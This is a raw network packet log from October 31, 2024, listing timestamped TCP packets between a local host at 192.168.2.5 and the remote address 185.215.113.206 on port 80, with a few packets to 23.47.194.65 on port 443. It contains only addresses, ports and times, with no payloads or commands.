Oct 31, 2024 01:18:54.079808950 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079819918 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079823017 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079833031 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079847097 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079848051 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079859018 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079869986 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079874039 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079884052 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079916000 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079998016 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080024004 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080051899 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080064058 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080080986 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080107927 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080120087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080133915 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080141068 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080164909 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080239058 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080269098 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080271006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080281973 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080363035 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080374002 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080384970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080390930 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080394983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080420017 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080420971 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080432892 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080444098 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080446005 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080455065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080470085 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080522060 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080549002 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080559015 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080569029 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080588102 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080598116 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080610037 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080610037 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080615044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080626965 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080634117 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080637932 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080648899 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080658913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080662966 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080674887 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080679893 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080688000 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080698013 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080698013 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080713987 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080714941 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080724001 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080739975 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080751896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080761909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080770016 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080773115 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080780029 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080785036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080816984 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080816984 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080889940 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080904007 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080909967 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.080926895 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.080955029 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081015110 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081024885 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081038952 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081051111 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081067085 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081078053 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081090927 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081110001 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081118107 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081120968 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081131935 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081144094 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081152916 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081162930 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081170082 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081173897 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081180096 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081183910 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081202030 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081203938 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081212044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081223011 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081227064 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081233025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081243992 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081247091 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081267118 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081378937 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081394911 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081404924 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081406116 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081417084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081428051 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081439018 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081440926 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081449986 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081450939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081461906 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081470013 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081495047 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081511974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081511021 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081511021 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081522942 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081532001 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081537008 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081542969 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081559896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081562996 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081562996 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081571102 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081588030 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081609964 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081620932 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081631899 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081634998 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081660986 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081703901 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081718922 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081731081 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081741095 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081762075 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081769943 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081784964 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081795931 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081795931 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081805944 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081806898 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081819057 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081830978 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081890106 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081901073 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081911087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081918001 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081923962 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.081935883 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.081935883 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082005024 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082122087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082176924 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082202911 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082212925 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082230091 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082241058 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082251072 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082261086 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082262039 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082273960 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082284927 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082292080 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082304955 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082315922 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082321882 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082324028 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082324028 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082331896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082344055 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082356930 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082386971 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082387924 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082407951 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082420111 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082432985 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082484961 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082485914 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082485914 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082495928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082506895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082526922 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082581043 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.082834959 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082958937 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082968950 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082978964 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082990885 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.082993031 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083000898 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083003998 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083012104 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083038092 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083061934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083076000 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083091974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083091974 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083105087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083115101 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083122969 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083126068 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083136082 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083144903 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083153963 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083154917 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083165884 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083170891 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083189964 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083192110 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083199978 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083210945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083219051 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083220959 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083230972 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083239079 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083240986 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083251953 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083260059 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083262920 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083272934 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083347082 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083363056 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083374023 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083375931 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083384037 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083395958 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083405972 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083411932 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083424091 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083434105 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083451033 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083451033 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083544970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083554983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083566904 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083568096 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083578110 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083581924 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083594084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083600044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083616018 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083621025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083631039 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083642006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083642006 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083642960 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083658934 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083662987 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.083688974 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.083745003 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.084208012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084362030 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084374905 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084381104 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084392071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084408045 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.084408045 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084427118 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084430933 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.084438086 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084444046 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084455013 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084460974 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.084465981 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084475994 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084480047 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.084486961 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084500074 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084510088 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084511042 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.084523916 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084534883 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084537029 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.084547997 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084561110 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.084561110 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.084562063 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084573030 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084583044 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.084610939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084621906 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084639072 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.084639072 CET	50007	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:54.084673882 CET	443	50007	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:54.084702015 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.084738970 CET	50007	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:54.084871054 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084928989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084939957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084949970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084965944 CET	50007	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:54.084966898 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084978104 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084980011 CET	443	50007	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:54.084990025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.084990978 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085005045 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085028887 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085057020 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085067987 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085078001 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085088968 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085102081 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085112095 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085128069 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085128069 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085149050 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085175037 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085233927 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085247993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085258007 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085268974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085283041 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085304022 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085316896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085325956 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085325956 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085354090 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085354090 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085401058 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085457087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085468054 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085478067 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085520983 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085521936 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085592031 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085701942 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085712910 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085727930 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085746050 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085752010 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085757017 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085767031 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085787058 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085797071 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085798025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085808992 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.085810900 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.085820913 CET	49962	80	192.168.2.5	185.215.113.206
